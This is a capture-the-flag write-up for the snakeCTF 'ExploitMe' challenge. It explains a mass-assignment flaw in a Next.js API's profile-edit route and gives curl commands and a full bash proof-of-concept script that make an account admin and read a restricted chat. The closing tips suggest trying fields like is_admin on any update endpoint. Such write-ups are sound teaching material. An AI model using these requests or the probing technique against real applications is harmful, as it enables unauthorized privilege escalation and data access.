Challenge source
Introduction
ExploitMe is a dating app for hackers, and its API has a mass-assignment flaw. Profile edits let us set fields we shouldn’t, so we flip ourselves to admin and read the flag out of a restricted chat.
Context Explanation
A Next.js app with API routes over SQLite. Registration hands out a JWT, and profile edits go through /api/edit. The backend validates with yup but never strips unknown fields, so any extra attribute you send lands straight in the SQL UPDATE.
Directive
Escalate the account to admin and read the flag from chat room #4.
Solution
Step 1: Register a new account
curl -s -X POST "$URL/api/register" \
-H "Content-Type: application/json" \
-d '{"username":"hitcat","email":"hitcat@snake.ctf","password":"Secret123!"}'
This returns a valid JWT.

Step 2: Complete onboarding
curl -s -X POST "$URL/api/onboarding" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"role": "WHITE_HAT",
"looking_for": "WHITE_HAT",
"age": 19,
"likes": ["IoT"],
"dislikes": ["SIM Swappers"],
"bio": "Your leet bio here",
"location": "Obviously, the Internet",
"hacks": ["Morris Worm"],
"favorite_hacker": "Kevin Mitnick",
"favorite_song": "Careless Hacker",
"favorite_movie": "My Little Pony: The Movie",
"yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
"touches_grass": false
}'

Step 3: Exploit mass assignment in /api/edit
The vulnerable code (edit.js):
const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
const values = Object.values(validated);
const updateQuery = `UPDATE users SET ${setClause} WHERE id = ?`;
validated is built straight from the request body, and since yup wasn’t given stripUnknown: true, an extra is_admin field survives into the UPDATE. So:
curl -s -X POST "$URL/api/edit" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":1}'

Step 4: Abuse admin privilege to report a chat
curl -s -X POST "$URL/api/chat/4/report" \
-H "Authorization: Bearer $TOKEN"

Step 5: Read restricted messages (flag)
curl -s "$URL/api/chat/4" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.messages[] | .content'

PoC
#!/bin/bash
URL="https://9f2c6b38bc4461a2b4545a00c94951e2.exploitme.challs.snakectf.org"
USERNAME="hitcat"
EMAIL="hitcat@snake.ctf"
PASSWORD="Secret123!"
# Step 1 : Register and get JWT
echo "[*] Registering user $USERNAME..."
TOKEN=$(curl -s -X POST "$URL/api/register" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" \
| jq -r .token)
if [ "$TOKEN" = "null" ] || [ -z "$TOKEN" ]; then
echo "[!] Failed to get token during register"
exit 1
fi
echo "[+] Token obtained: $TOKEN"
# Step 2 : Onboarding
echo "[*] Sending onboarding data..."
curl -s -X POST "$URL/api/onboarding" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"role": "WHITE_HAT",
"looking_for": "WHITE_HAT",
"age": 19,
"likes": ["IoT"],
"dislikes": ["SIM Swappers"],
"bio": "Your leet bio here",
"location": "Obviously, the Internet",
"hacks": ["Morris Worm"],
"favorite_hacker": "Kevin Mitnick",
"favorite_song": "Careless Hacker",
"favorite_movie": "My Little Pony: The Movie",
"yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
"touches_grass": false
}' | jq .
# Step 3 : Admin priv esc via mass assignment
echo "[*] Trying to escalate privileges (is_admin=1)..."
curl -s -X POST "$URL/api/edit" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":1}' | jq .
# Step 4 : Report match n°4
echo "[*] Reporting match 4..."
curl -s -X POST "$URL/api/chat/4/report" \
-H "Authorization: Bearer $TOKEN" | jq .
# Step 5 : Reading match n°4 messages
echo "[*] Reading messages from match 4..."
curl -s "$URL/api/chat/4" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.messages[] | .content'
Tips & Tricks
- Probe for mass assignment. Throw extra fields (
is_admin,role,balance) at every update endpoint and see what sticks. - Check how schemas handle unknowns. With
yuporjoi, confirm whether unknown keys are stripped, they often aren’t by default. - Decode JWTs as you go. Reading the claims locally confirms the escalation actually took.